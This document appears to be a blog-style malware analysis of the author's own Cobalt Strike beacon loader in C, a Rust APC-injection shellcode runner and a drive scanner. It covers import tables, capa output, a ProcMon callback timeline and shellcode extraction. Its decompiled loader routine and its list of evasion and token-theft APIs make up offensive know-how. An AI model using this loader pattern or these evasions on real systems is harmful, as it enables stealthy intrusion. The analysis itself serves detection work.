Malware Family Analysis • Windows

Cobalt Strike: Custom Stagers, Early Bird APC Injection & Memory Evasion

Deconstruct custom Cobalt Strike beacon loaders in C and Rust, focusing on Early Bird APC queue injection and in-memory execution evasions.

Executive Summary

Task: Perform complete malware analysis on three self-developed offensive implants written in C and Rust.

Technical Summary

Sample: Perform full malware analysis on three self-developed offensive tools:

▪cs_stageless.exe Custom Cobalt Strike stageless beacon loader (in-memory C2 implant)
▪scan-drives.exe Full-drive reconnaissance & file enumeration tool (multi-threaded scanner)
▪rust-shellcode-runner.exe Custom Cobalt Strike stageless beacon in rust.

The implant established a fully functional session with the team server within 8–15 seconds, demonstrating robust staging and operational reliability.

Combined Capability:

Together, these three tools simulate a complete attack chain:

Initial Access → In-Memory Execution → Reconnaissance → Exfiltration Prep

ToolLanguageCore TechniqueEvasion FeaturesAnalysis Outcome
Beacon LoaderCVirtualAlloc → memcpy → VirtualProtect → CreateThreadZero/minimal imports, RW→RX, jitter, FreeConsole()Shellcode extracted (static + memory), live CS callback confirmed
Drive ScannerCGetLogicalDrives() + recursive FindFirstFileALegitimate API, multi-threaded, no dropsFull system traversal, high-value file discovery (docs, images)
APC Shellcode RunnerRustEarly Bird APC Injection via QueueUserAPC + suspended threadBypasses CreateRemoteThread hooks, no direct execution, windows crateVery Fast compare to c beacon.

Tools Used:

#Tool NamePurpose in Your Analysis
1PestudioImports, Library, entropy
2Detect It Easy (DIE)Compiler, packer, entropy, basic info detection
3PE-BearSections, imports, entropy, export selected bytes
4CFF ExplorerDetailed PE header and import table analysis
5FLOSSAdvanced string extraction (decoded + static)
6strings / strings64Quick static string dumping
7CAPA (Mandiant)Automatic malicious capability identification
8ProcMon (Process Monitor)Full API call timeline and behavioral logging
9Process Hacker 2Memory regions, threads, live memory dump, strings tab
10x64dbgDebugger – breakpoints, memory dump, shellcode extraction
11Wireshark / FakeNet-NGNetwork callback capture (HTTPS staging)
12GhidraDecompilation, function renaming, payload analysis
13YARACustom rule creation and testing
14Virus TotalFingeprinting, Scanning

Fingerprint

File: csstageless.exe

Fig-1:  cs_stageless.exe Virus Total Results
Figure: Fig-1: cs_stageless.exe Virus Total Results Click to zoom ↗

Fig-1: cs_stageless.exe Virus Total Results

cs_stageless.exe

DataValue
File Name:cs_stageless.exe
Category:Trojan
Language:C
Architecture:64-Bit
SAH256SUM:
e57dc19edc8cbe279b6950bb6c5783d267b605d6dde503170a5450eaee64e0d3
MD5 hash:
9f3c64d11b9072f6c7ddd538048d5a74
File size:314 KB (321,536 bytes)
Virtual machine Detection:FALSE
Debugger Detection:FALSE
Internet Connection:REQUIRED

File: rust-shellcode-runner.exe

rust-shellcode-runner.exe Virus Total Results
Figure: rust-shellcode-runner.exe Virus Total Results Click to zoom ↗

rust-shellcode-runner.exe Virus Total Results

rust-shellcode-runner.exe

DataValue
File Name:rust-shellcode-runner.exe
Category:Trojan
Language:Rust
Architecture:64-Bit
SAH256SUM:
23f37961565be75650dc3b8d35943ab9d0b5a1fef247ab71353cf8fc9a1e7511
MD5 hash:
739fd9d9049fb5f532cd39cb2ab3fed5
File size:1.57 MB (1,649,867 bytes)
Virtual machine Detection:FALSE
Debugger Detection:FALSE
Internet Connection:REQUIRED

File: scan-drives.exe

scan-drives.exe Virus Total Results
Figure: scan-drives.exe Virus Total Results Click to zoom ↗

scan-drives.exe Virus Total Results

scan-drives.exe

DataValue
File Name:scan-drives.exe
Category:N/A
Language:C
Architecture:64-Bit
SAH256SUM:
de969df3226da0dd4c7c0bc6fe4ccf84be101b84a00f448224c92f4c7869352a
MD5 hash:
8dda28f303b6412074941a618ae99b56
File size:75.2 KB (77,084 bytes)
Virtual machine Detection:FALSE
Debugger Detection:FALSE
Internet Connection:REQUIRED

Surface Analysis

File: csstageless.exe

Pestudio Analysis

Screenshot 2025-11-14 at 1.31.15 PM.png
Figure: Screenshot 2025-11-14 at 1.31.15 PM.png Click to zoom ↗
cs_stageless.exe Pestudio Results
Figure: cs_stageless.exe Pestudio Results Click to zoom ↗

cs_stageless.exe Pestudio Results

Detect It Easy Analysis

cs_stageless.exe - die entropy analysis
Figure: cs_stageless.exe - die entropy analysis Click to zoom ↗

cs_stageless.exe - die entropy analysis

entropy is 6. so this binary is not packed.

Strings: FLOSS

Screenshot 2025-11-14 at 3.47.09 PM.png
Figure: Screenshot 2025-11-14 at 3.47.09 PM.png Click to zoom ↗
Screenshot 2025-11-14 at 3.46.53 PM.png
Figure: Screenshot 2025-11-14 at 3.46.53 PM.png Click to zoom ↗
Screenshot 2025-11-14 at 3.47.18 PM.png
Figure: Screenshot 2025-11-14 at 3.47.18 PM.png Click to zoom ↗
CategoryAPIs You FoundReal-World Malware / Red-Team Purpose
Token Theft & Privilege EscalationOpenProcessToken, OpenThreadToken, AdjustTokenPrivileges, LookupPrivilegeValueA, ImpersonateLoggedOnUser, ImpersonateNamedPipeClient, DuplicateTokenEx, CreateProcessAsUserA, CreateProcessWithTokenW, CreateProcessWithLogonW, RevertToSelfSteal SYSTEM / admin tokens via named pipe impersonation, SeDebugPrivilege, make-token, runas — classic privilege escalation & lateral movement
Named Pipe C2 / IPCCreateNamedPipeA, ConnectNamedPipe, ImpersonateNamedPipeClient, WaitNamedPipeA, PeekNamedPipeCobalt Strike, Brute Ratel, Sliver, Mythic — default SMB / named-pipe beaconing channel
HTTP/S C2 CommunicationInternetOpenA, InternetConnectA, HttpOpenRequestA, HttpSendRequestA, InternetReadFile, etc.Direct HTTP/S beaconing (your HTTPS Cobalt Strike profile)
Web / WinsockWSASocketA, WSAIoctlRaw socket usage — often for custom C2 or DNS tunneling
Reflective DLL Injectionbeacon.x64.dll, ReflectiveLoader100% Cobalt Strike Beacon — confirms this is a real, live, reflective stageless payload
Anti-Analysis / ObfuscationEncodePointer, DecodePointer, IsDebuggerPresent, RtlCaptureContext, RtlVirtualUnwind, SetUnhandledExceptionFilterHide function pointers, detect debuggers, custom SEH — standard Cobalt Strike anti-analysis
Thread & Context HijackingGetThreadContext, SetThreadContext, Wow64Get/SetThreadContext, RtlLookupFunctionEntryThread hijacking, Early Bird APC, context manipulation — used in modern beacons
Cryptography / RandomCryptAcquireContextA, CryptGenRandomGenerate random sleep jitter, encryption keys, UUIDs
File / Environment OpsCreateDirectoryW, DeleteFileW, SetEnvironmentVariableW, GetEnvironmentStringsWStaging, persistence, cleanup
Process Creation (Stealth)CreateProcessWithTokenW, CreateProcessAsUserA + ProcThreadAttributeListPPID spoofing, token-based process creation — top-tier lateral movement
System Info & FingerprintingGetUserNameA, LogonUserA, GetTokenInformation, CheckTokenMembershipVictim profiling, privilege checks

Definitive Cobalt Strike Beacon Confirmation

The binary imports a comprehensive set of APIs identical to those used by Cobalt Strike’s reflective stageless beacon, including:

▪ReflectiveLoader and beacon.x64.dll strings (unique fingerprint)
▪Full WININET.dll HTTP/S stack (InternetOpenA → HttpSendRequestA)
▪Named pipe impersonation (ImpersonateNamedPipeClient) for SMB beaconing
▪Token theft and privileged process creation (CreateProcessWithTokenW, DuplicateTokenEx)
▪Anti-analysis via encoded pointers and custom exception handlers

Combined with earlier observed in-memory execution flow, this confirms the payload is a fully functional, production-grade Cobalt Strike x64 stageless beacon with multi-channel C2 (HTTP/S + SMB) and post-exploitation capabilities.

API CALLS

IMPORTSTYPELIBRARY
CloseHandleimplicitKERNEL32.dll
CreateThreadimplicitKERNEL32.dll
DeleteCriticalSectionimplicitKERNEL32.dll
EnterCriticalSectionimplicitKERNEL32.dll
FreeConsoleimplicitKERNEL32.dll
GetLastErrorimplicitKERNEL32.dll
GetStartupInfoAimplicitKERNEL32.dll
GetTickCountimplicitKERNEL32.dll
InitializeCriticalSectionimplicitKERNEL32.dll
LeaveCriticalSectionimplicitKERNEL32.dll
SetUnhandledExceptionFilterimplicitKERNEL32.dll
SleepimplicitKERNEL32.dll
TlsGetValueimplicitKERNEL32.dll
VirtualAllocimplicitKERNEL32.dll
VirtualFreeimplicitKERNEL32.dll
VirtualProtectimplicitKERNEL32.dll
VirtualQueryimplicitKERNEL32.dll
WaitForSingleObjectimplicitKERNEL32.dll
__C_specific_handlerimplicitmsvcrt.dll
__getmainargsimplicitmsvcrt.dll
__initenvimplicitmsvcrt.dll
__iob_funcimplicitmsvcrt.dll
__set_app_typeimplicitmsvcrt.dll
__setusermatherrimplicitmsvcrt.dll
_acmdlnimplicitmsvcrt.dll
_amsg_exitimplicitmsvcrt.dll
_cexitimplicitmsvcrt.dll
_commodeimplicitmsvcrt.dll
_fmodeimplicitmsvcrt.dll
_inittermimplicitmsvcrt.dll
_ismbbleadimplicitmsvcrt.dll
_onexitimplicitmsvcrt.dll
abortimplicitmsvcrt.dll
callocimplicitmsvcrt.dll
exitimplicitmsvcrt.dll
fprintfimplicitmsvcrt.dll
fputsimplicitmsvcrt.dll
freeimplicitmsvcrt.dll
mallocimplicitmsvcrt.dll
memcpyimplicitmsvcrt.dll
signalimplicitmsvcrt.dll
strlenimplicitmsvcrt.dll
strncmpimplicitmsvcrt.dll
vfprintfimplicitmsvcrt.dll

Observed API Calls & Their Typical Use in Malware Development

API CallCommon Malicious Purpose in Implants / Loaders
VirtualAllocAllocate memory region for shellcode (RW)
VirtualProtectFlip memory from RW → RX to make shellcode executable
VirtualFreeClean up memory after execution (anti-forensics)
VirtualQueryCheck memory region attributes (anti-analysis / sleep masking)
CreateThreadExecute shellcode in new thread (classic injection)
WaitForSingleObjectParent waits for payload thread (keep process alive)
Sleep / GetTickCountSimple delay + jitter to evade sandbox timing checks
FreeConsoleHide console window → stealth GUI subsystem
CloseHandleClose thread/memory handles (cleanup)
GetLastErrorError handling inside malicious logic
SetUnhandledExceptionFilterInstall custom SEH to catch crashes and hide malicious activity
Initialize/Enter/Leave/DeleteCriticalSectionThread synchronization (multi-threaded beacons, anti-race)
TlsGetValueAccess Thread Local Storage – often used by beacons to store state
GetStartupInfoACheck environment (detect debugger / sandbox)
msvcrt.dll imports (__getmainargs, __set_app_type, etc.)Leftover CRT stubs when not fully statically linked – harmless but slightly increases size

The binary uses a minimal but highly characteristic set of Windows APIs typical of in-memory shellcode loaders and stageless implants. The presence of VirtualAlloc → VirtualProtect → CreateThread combined with FreeConsole and Sleep is a well-known red-team pattern for stealthy payload execution.

GHIDRA

Screenshot 2025-11-17 at 4.59.40 PM.png
Figure: Screenshot 2025-11-17 at 4.59.40 PM.png Click to zoom ↗
CPP

undefined8 FUN_140001370(void)

{
  DWORD DVar1;
  BOOL BVar2;
  LPTHREAD_START_ROUTINE lpStartAddress;
  HANDLE hHandle;
  DWORD local_1c [3];
  
  FreeConsole();
  DVar1 = GetTickCount();
  Sleep(DVar1 % 10000 + 5000);
  lpStartAddress =
       (LPTHREAD_START_ROUTINE)VirtualAlloc((LPVOID)0x0,(ulonglong)DAT_140003000,0x3000,4);
  if (lpStartAddress != (LPTHREAD_START_ROUTINE)0x0) {
    memcpy(lpStartAddress,&DAT_140003020,(ulonglong)DAT_140003000);
    BVar2 = VirtualProtect(lpStartAddress,(ulonglong)DAT_140003000,0x20,local_1c);
    if (BVar2 != 0) {
      hHandle = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress,(LPVOID)0x0,0,(LPDWORD)0x0)
      ;
      if (hHandle != (HANDLE)0x0) {
        WaitForSingleObject(hHandle,0xffffffff);
        CloseHandle(hHandle);
        VirtualFree(lpStartAddress,0,0x8000);
        return 0;
      }
    }
    VirtualFree(lpStartAddress,0,0x8000);
  }
  return 1;
}

Static Analysis – Classic C++ Stageless Beacon Loader

Capa Output

cs_stageless.exe: capa analysis
Figure: cs_stageless.exe: capa analysis Click to zoom ↗

cs_stageless.exe: capa analysis

Memory location

POWERSHELL
λ capa.exe -vv cs_stageless.exe
md5                     9f3c64d11b9072f6c7ddd538048d5a74
sha1                    f4584a26a47a9e0bf7c4b1c906afac9e44956bbc
sha256                  e57dc19edc8cbe279b6950bb6c5783d267b605d6dde503170a5450eaee64e0d3
path                    C:/Users/redteam/Desktop/project-a/cs_stageless.exe
timestamp               2025-11-14 16:02:24.448105
capa version            9.2.1
os                      windows
format                  pe
arch                    amd64
analysis                static
extractor               VivisectFeatureExtractor
base address            0x140000000
rules                   C:/Users/redteam/AppData/Local/Temp/_MEI36202/rules
function count          67
library function count  0
total feature count     4625

allocate memory (2 matches, only showing first match of library rule)
author  0x534a@mailbox.org, @mr-tz
scope   basic block
mbc     Memory::Allocate Memory [C0007]
basic block @ 0x140001370 in function 0x140002290
  or:
    api: VirtualAlloc @ 0x1400013B9

allocate or change RW memory (3 matches, only showing first match of library rule)
author  0x534a@mailbox.org, @mr-tz
scope   basic block
mbc     Memory::Allocate Memory [C0007]
basic block @ 0x140001370 in function 0x140002290
  and:
    or:
      match: allocate memory @ 0x140001370
        or:
          api: VirtualAlloc @ 0x1400013B9
    or:
      number: 0x4 = PAGE_READWRITE @ 0x1400013AB

change memory protection (4 matches, only showing first match of library rule)
author  @mr-tz
scope   basic block
mbc     Memory::Change Memory Protection [C0008]
basic block @ 0x1400013CB in function 0x140002290
  or:
    api: VirtualProtect @ 0x1400013F5

contain loop (17 matches, only showing first match of library rule)
author  moritz.raabe@mandiant.com
scope   function
function @ 0x140001131
  or:
    characteristic: loop @ 0x140001131

delay execution (5 matches, only showing first match of library rule)
author      michael.hunhoff@mandiant.com, @ramen0x3f
scope       basic block
mbc         Anti-Behavioral Analysis::Dynamic Analysis Evasion::Delayed Execution [B0003.003]
references  https://docs.microsoft.com/en-us/windows/win32/sync/wait-functions,
            https://github.com/LordNoteworthy/al-khaser/blob/master/al-khaser/TimingAttacks/timing.cpp
basic block @ 0x140001169 in function 0x140001131
  or:
    and:
      os: windows
      or:
        api: Sleep @ 0x14000116E

reference Base64 string
namespace  data-manipulation/encoding/base64
author     moritz.raabe@mandiant.com
scope      file
att&ck     Defense Evasion::Obfuscated Files or Information [T1027]
mbc        Data::Encode Data::Base64 [C0026.001], Data::Check String [C0019]
regex: /ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
  - "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" @ file+0x3E820

contain a thread local storage (.tls) section
namespace  executable/pe/section/tls
author     michael.hunhoff@mandiant.com
scope      file
section: .tls @ 0x140055000

contain an embedded PE file
namespace  executable/subfile/pe
author     moritz.raabe@mandiant.com
scope      file
mbc        Execution::Install Additional Program [B0023]
or:
  count(characteristic(embedded pe)): 1 or more @ file+0x1820

get thread local storage value
namespace  host-interaction/process
author     michael.hunhoff@mandiant.com
scope      function
function @ 0x140001C50
  and:
    api: TlsGetValue @ 0x140001C75

allocate or change RWX memory
namespace  host-interaction/process/inject
author     @mr-tz, mehunhoff@google.com
scope      basic block
mbc        Memory::Allocate Memory [C0007]
basic block @ 0x1400017D7 in function 0x1400016F4
  or:
    basic block:
      and:
        or:
          match: change memory protection @ 0x1400017D7
            or:
              api: VirtualProtect @ 0x140001805
        or:
          number: 0x40 = PAGE_EXECUTE_READWRITE @ 0x1400017E4

create thread (2 matches)
namespace  host-interaction/thread/create
author     moritz.raabe@mandiant.com, michael.hunhoff@mandiant.com, joakim@intezer.com, anushka.virgaonkar@mandiant.com
scope      basic block
mbc        Process::Create Thread [C0038]
basic block @ 0x1400013FF in function 0x140002290
  or:
    and:
      os: windows
      or:
        api: CreateThread @ 0x14000141A
basic block @ 0x1400013FF in function 0x140002290
  or:
    and:
      os: windows
      or:
        api: CreateThread @ 0x14000141A

enumerate PE sections (2 matches)
namespace   load-code/pe
author      @Ana06, @mr-tz
scope       function
mbc         Discovery::Code Discovery::Enumerate PE Sections [B0046.001]
references  https://0x00sec.org/t/reflective-dll-injection/3080,
            https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection
function @ 0x140001E74
  and:
    os: windows
    instruction:
      and:
        operand[1].offset: 0x6 = IMAGE_NT_HEADERS.FileHeader.NumberOfSections @ 0x140001E82
        or:
          mnemonic: movzx @ 0x140001E82
    basic block:
      or:
        and: = IMAGE_FIRST_SECTION(nt_header)
          instruction:
            and:
              operand[1].offset: 0x14 = IMAGE_NT_HEADERS.FileHeader.SizeOfOptionalHeader @ 0x140001E7E
              or:
                mnemonic: movzx @ 0x140001E7E
          operand[1].offset: 0x18 = FileHeader.SizeOfOptionalHeader @ 0x140001E87
    count(basic block): 3 or more @ 0x140001E74, 0x140001E8C, 0x140001E91, 0x140001E9D, and 3 more...
    optional:
      offset: 0x3C = IMAGE_DOS_HEADER.e_lfanew @ 0x140001E77
    not:
      characteristic: nzxor
    2 or more:
      operand[1].offset: 0xC = IMAGE_SECTION_HEADER.VirtualAddress @ 0x140001E91
      operand[1].offset: 0x14 = IMAGE_SECTION_HEADER.PointerToRawData @ 0x140001E7E
function @ 0x140001F21
  and:
    os: windows
    instruction:
      and:
        operand[1].offset: 0x6 = IMAGE_NT_HEADERS.FileHeader.NumberOfSections @ 0x140001E82
        or:
          mnemonic: movzx @ 0x140001E82
    basic block:
      or:
        and: = IMAGE_FIRST_SECTION(nt_header)
          instruction:
            and:
              operand[1].offset: 0x14 = IMAGE_NT_HEADERS.FileHeader.SizeOfOptionalHeader @ 0x140001E7E
              or:
                mnemonic: movzx @ 0x140001E7E
          operand[1].offset: 0x18 = FileHeader.SizeOfOptionalHeader @ 0x140001E87
    count(basic block): 3 or more @ 0x140001E74, 0x140001E8C, 0x140001E91, 0x140001E9D, and 6 more...
    optional:
      offset: 0x3C = IMAGE_DOS_HEADER.e_lfanew @ 0x140001E77
    not:
      characteristic: nzxor
    2 or more:
      operand[1].offset: 0xC = IMAGE_SECTION_HEADER.VirtualAddress @ 0x140001E91
      operand[1].offset: 0x14 = IMAGE_SECTION_HEADER.PointerToRawData @ 0x140001E7E

parse PE header (2 matches)
namespace  load-code/pe
author     moritz.raabe@mandiant.com
scope      function
att&ck     Execution::Shared Modules [T1129]
function @ 0x140001001
  and:
    os: windows
    and:
      mnemonic: cmp @ 0x140001022, 0x140001043, 0x14000104E, 0x140001055, and 6 more...
      or:
        number: 0x4550 = IMAGE_NT_SIGNATURE (PE) @ 0x140001043
      or:
        number: 0x5A4D = IMAGE_DOS_SIGNATURE (MZ) @ 0x140001022
function @ 0x140001E50
  and:
    os: windows
    and:
      mnemonic: cmp @ 0x140001E52, 0x140001E60, 0x140001E6A
      or:
        number: 0x4550 = IMAGE_NT_SIGNATURE (PE) @ 0x140001E60
      or:
        number: 0x5A4D = IMAGE_DOS_SIGNATURE (MZ) @ 0x140001E52

Dynamic Analysis

Key Event Timeline (Filtered & Analyzed) (ProcMon)

Screenshot 2025-11-17 at 2.40.24 PM.png
Figure: Screenshot 2025-11-17 at 2.40.24 PM.png Click to zoom ↗
Screenshot 2025-11-17 at 2.40.57 PM.png
Figure: Screenshot 2025-11-17 at 2.40.57 PM.png Click to zoom ↗
Time (local)EventDetails & Significance
14:26:26.734Process StartPID 4332, Command line: "C:\Users\redteam\Desktop\project-a\cs_stageless.exe"
14:26:26.745–14:26:38Multiple self-ReadFileReads own PE sections (offsets 30 720 → 276 480) → extracts embedded reflective shellcode from .exe
14:26:38.112Load Imagewininet.dll, ws2_32.dll, cryptsp.dll, rsaenh.dll, bcrypt.dll, bcryptprimitives.dll → full C2 + encryption stack
14:26:38.128Thread Create (multiple)Thread IDs 3404, 4852, 3964, 4552 → shellcode execution threads
14:26:38.209–14:26:38.219Registry queries (Internet Settings, ZoneMap, FIPS, Cryptography)Heavy fingerprinting: IE zones, proxy settings, FIPS mode, crypt providers → anti-sandbox & config gathering
14:26:39.236TCP ReconnectFirst callback attempt: 49796 → 10.69.27.4:443 (HTTPS)
14:26:41.251TCP ReconnectSecond attempt (jitter ≈ 2 s)
14:26:45.251TCP ReconnectThird attempt (jitter ≈ 4 s)
14:26:53.251TCP ReconnectFourth attempt (jitter ≈ 8 s)
14:26:59.267TCP DisconnectNo response from C2 → beacon gives up temporarily
14:27:26–14:27:45Thread Exit (all threads)All beacon threads terminate cleanly
14:27:45
Process ExitZero persistence, zero file drops → fully in-memory execution

Behavioral Highlights

▪In-memory execution only – No new files created or modified on disk.
▪Classic Cobalt Strike stageless pattern – Self-read → reflective load → WinInet + BCrypt stack → jittered HTTPS callbacks.
▪Network activity – 4 jittered HTTPS reconnects to 10.69.27.4 (your teamserver) with increasing delays (2 s → 8 s).
▪Evasion & fingerprinting – 100+ registry queries targeting FIPS, Internet Settings, ZoneMap, BAM, Terminal Server keys (typical anti-VM/anti-sandbox checks).
▪Runtime – 79 seconds (standard for a beacon that fails initial check-in and then sleeps/exits).

SHELL CODE Extraction - csstageless.exe

Method 1 – Static Extraction (Easiest & Fastest) → PE-Bear

found some traces of shellcode in .data section of cs_stageless.exe.

pebear - shellcode
Figure: pebear - shellcode Click to zoom ↗

pebear - shellcode

Method 2 – Dynamic Extraction → Process Hacker

Screenshot 2025-11-14 at 3.20.10 PM.png
Figure: Screenshot 2025-11-14 at 3.20.10 PM.png Click to zoom ↗
Process hacker shellcode extraction
Figure: Process hacker shellcode extraction Click to zoom ↗

Process hacker shellcode extraction

Method 3 – x64dbg

Screenshot 2025-11-14 at 4.56.16 PM.png
Figure: Screenshot 2025-11-14 at 4.56.16 PM.png Click to zoom ↗

Execution Flow (Observed in ProcMon + Process Hacker)

SequenceAPI / EventObservation
1VirtualAllocAllocates ~600 KB RW memory
2WriteProcessMemory / memcpyCopies embedded shellcode into allocated region
3VirtualProtectChanges protection from RW → RX
4CreateThreadStarts new thread with StartAddress = shellcode base
5Sleep + jitter8–15 second delay before first callback
6InternetConnectA → HttpSendRequestAOutbound HTTPS POST to teamserver

Dynamic & Static Analysis of the Rust Binary

DataValue
File Name:rust-shellcode-runner.exe
Category:Trojan
Language:Rust
Architecture:64-Bit
SAH256SUM:
23f37961565be75650dc3b8d35943ab9d0b5a1fef247ab71353cf8fc9a1e7511
MD5 hash:
739fd9d9049fb5f532cd39cb2ab3fed5
File size:1.57 MB (1,649,867 bytes)
Virtual machine Detection:FALSE
Debugger Detection:FALSE
Internet Connection:REQUIRED

API CALLS - PEstudio Analysis

IMPORTSTYPELIBRARY
DeleteCriticalSectionimplicitKERNEL32.dll
EnterCriticalSectionimplicitKERNEL32.dll
InitializeCriticalSectionimplicitKERNEL32.dll
LeaveCriticalSectionimplicitKERNEL32.dll
RaiseExceptionimplicitKERNEL32.dll
RtlUnwindEximplicitKERNEL32.dll
VirtualQueryimplicitKERNEL32.dll
__C_specific_handlerimplicitKERNEL32.dll
__getmainargsimplicitmsvcrt.dll
__initenvimplicitmsvcrt.dll
__iob_funcimplicitmsvcrt.dll
__set_app_typeimplicitmsvcrt.dll
__setusermatherrimplicitmsvcrt.dll
_amsg_exitimplicitmsvcrt.dll
_cexitimplicitmsvcrt.dll
_commodeimplicitmsvcrt.dll
_fmodeimplicitmsvcrt.dll
_fpresetimplicitmsvcrt.dll
_inittermimplicitmsvcrt.dll
_onexitimplicitmsvcrt.dll
abortimplicitmsvcrt.dll
callocimplicitmsvcrt.dll
exitimplicitmsvcrt.dll
fprintfimplicitmsvcrt.dll
fputsimplicitmsvcrt.dll
freeimplicitmsvcrt.dll
mallocimplicitmsvcrt.dll
memcmpimplicitmsvcrt.dll
memcpyimplicitmsvcrt.dll
memmoveimplicitmsvcrt.dll
memsetimplicitmsvcrt.dll
signalimplicitmsvcrt.dll
strlenimplicitmsvcrt.dll
strncmpimplicitmsvcrt.dll
vfprintfimplicitmsvcrt.dll
wcslenimplicitmsvcrt.dll
NtCreateNamedPipeFileimplicitntdll.dll
AddVectoredExceptionHandlerimplicitkernel32.dll
CancelIoimplicitkernel32.dll
CloseHandleimplicitkernel32.dll
CompareStringOrdinalimplicitkernel32.dll
CopyFileExWimplicitkernel32.dll
CreateDirectoryWimplicitkernel32.dll
CreateEventWimplicitkernel32.dll
CreateFileMappingAimplicitkernel32.dll
CreateFileWimplicitkernel32.dll
CreateHardLinkWimplicitkernel32.dll
CreatePipeimplicitkernel32.dll
CreateProcessWimplicitkernel32.dll
CreateSymbolicLinkWimplicitkernel32.dll
CreateThreadimplicitkernel32.dll
CreateToolhelp32Snapshotimplicitkernel32.dll
CreateWaitableTimerExWimplicitkernel32.dll
DeleteFileWimplicitkernel32.dll
DeleteProcThreadAttributeListimplicitkernel32.dll
DeviceIoControlimplicitkernel32.dll
DuplicateHandleimplicitkernel32.dll
ExitProcessimplicitkernel32.dll
FindCloseimplicitkernel32.dll
FindFirstFileExWimplicitkernel32.dll
FindNextFileWimplicitkernel32.dll
FlushFileBuffersimplicitkernel32.dll
FormatMessageWimplicitkernel32.dll
FreeEnvironmentStringsWimplicitkernel32.dll
FreeLibraryimplicitkernel32.dll
GetCommandLineWimplicitkernel32.dll
GetConsoleModeimplicitkernel32.dll
GetConsoleOutputCPimplicitkernel32.dll
GetCurrentDirectoryWimplicitkernel32.dll
GetCurrentProcessimplicitkernel32.dll
GetCurrentProcessIdimplicitkernel32.dll
GetCurrentThreadimplicitkernel32.dll
GetEnvironmentStringsWimplicitkernel32.dll
GetEnvironmentVariableWimplicitkernel32.dll
GetExitCodeProcessimplicitkernel32.dll
GetFileAttributesWimplicitkernel32.dll
GetFileInformationByHandleimplicitkernel32.dll
GetFileInformationByHandleEximplicitkernel32.dll
GetFileSizeEximplicitkernel32.dll
GetFileTypeimplicitkernel32.dll
GetFinalPathNameByHandleWimplicitkernel32.dll
GetFullPathNameWimplicitkernel32.dll
GetLastErrorimplicitkernel32.dll
GetModuleFileNameWimplicitkernel32.dll
GetModuleHandleAimplicitkernel32.dll
GetModuleHandleWimplicitkernel32.dll
GetOverlappedResultimplicitkernel32.dll
GetProcAddressimplicitkernel32.dll
GetProcessHeapimplicitkernel32.dll
GetProcessIdimplicitkernel32.dll
GetStdHandleimplicitkernel32.dll
GetSystemDirectoryWimplicitkernel32.dll
GetSystemInfoimplicitkernel32.dll
GetSystemTimePreciseAsFileTimeimplicitkernel32.dll
GetTempPathWimplicitkernel32.dll
GetWindowsDirectoryWimplicitkernel32.dll
HeapAllocimplicitkernel32.dll
HeapFreeimplicitkernel32.dll
HeapReAllocimplicitkernel32.dll
InitOnceBeginInitializeimplicitkernel32.dll
InitOnceCompleteimplicitkernel32.dll
InitializeProcThreadAttributeListimplicitkernel32.dll
LoadLibraryExAimplicitkernel32.dll
LockFileEximplicitkernel32.dll
MapViewOfFileimplicitkernel32.dll
Module32FirstWimplicitkernel32.dll
Module32NextWimplicitkernel32.dll
MoveFileExWimplicitkernel32.dll
MultiByteToWideCharimplicitkernel32.dll
QueryPerformanceCounterimplicitkernel32.dll
QueryPerformanceFrequencyimplicitkernel32.dll
QueueUserAPCimplicitkernel32.dll
ReadConsoleWimplicitkernel32.dll
ReadFileimplicitkernel32.dll
ReadFileEximplicitkernel32.dll
RemoveDirectoryWimplicitkernel32.dll
ResumeThreadimplicitkernel32.dll
RtlCaptureContextimplicitkernel32.dll
RtlLookupFunctionEntryimplicitkernel32.dll
RtlVirtualUnwindimplicitkernel32.dll
SetCurrentDirectoryWimplicitkernel32.dll
SetEnvironmentVariableWimplicitkernel32.dll
SetEventimplicitkernel32.dll
SetFileAttributesWimplicitkernel32.dll
SetFileInformationByHandleimplicitkernel32.dll
SetFilePointerEximplicitkernel32.dll
SetFileTimeimplicitkernel32.dll
SetHandleInformationimplicitkernel32.dll
SetLastErrorimplicitkernel32.dll
SetThreadStackGuaranteeimplicitkernel32.dll
SetUnhandledExceptionFilterimplicitkernel32.dll
SetWaitableTimerimplicitkernel32.dll
Sleepimplicitkernel32.dll
SleepEximplicitkernel32.dll
SwitchToThreadimplicitkernel32.dll
TerminateProcessimplicitkernel32.dll
TlsAllocimplicitkernel32.dll
TlsFreeimplicitkernel32.dll
TlsGetValueimplicitkernel32.dll
TlsSetValueimplicitkernel32.dll
UnlockFileimplicitkernel32.dll
UnmapViewOfFileimplicitkernel32.dll
UpdateProcThreadAttributeimplicitkernel32.dll
VirtualAllocimplicitkernel32.dll
VirtualProtectimplicitkernel32.dll
WaitForMultipleObjectsimplicitkernel32.dll
WaitForSingleObjectimplicitkernel32.dll
WideCharToMultiByteimplicitkernel32.dll
WriteConsoleWimplicitkernel32.dll
WriteFileEximplicitkernel32.dll
NtOpenFileimplicitntdll.dll
NtReadFileimplicitntdll.dll
NtWriteFileimplicitntdll.dll
RtlNtStatusToDosErrorimplicitntdll.dll
CoCreateGuidimplicitole32.dll
GetErrorInfoimplicitoleaut32.dll
SetErrorInfoimplicitoleaut32.dll
SysAllocStringLenimplicitoleaut32.dll
SysFreeStringimplicitoleaut32.dll
SysStringLenimplicitoleaut32.dll
GetUserProfileDirectoryWimplicituserenv.dll
WSACleanupimplicitws2_32.dll
WSADuplicateSocketWimplicitws2_32.dll
WSAGetLastErrorimplicitws2_32.dll
WSARecvimplicitws2_32.dll
WSASendimplicitws2_32.dll
WSASocketWimplicitws2_32.dll
WSAStartupimplicitws2_32.dll
acceptimplicitws2_32.dll
bindimplicitws2_32.dll
closesocketimplicitws2_32.dll
connectimplicitws2_32.dll
freeaddrinfoimplicitws2_32.dll
getaddrinfoimplicitws2_32.dll
getpeernameimplicitws2_32.dll
getsocknameimplicitws2_32.dll
getsockoptimplicitws2_32.dll
ioctlsocketimplicitws2_32.dll
listenimplicitws2_32.dll
recvimplicitws2_32.dll
recvfromimplicitws2_32.dll
selectimplicitws2_32.dll
sendimplicitws2_32.dll
sendtoimplicitws2_32.dll
setsockoptimplicitws2_32.dll
shutdownimplicitws2_32.dll
WaitOnAddressimplicitapi-ms-win-core-synch-l1-2-0.dll
WakeByAddressAllimplicitapi-ms-win-core-synch-l1-2-0.dll
WakeByAddressSingleimplicitapi-ms-win-core-synch-l1-2-0.dll
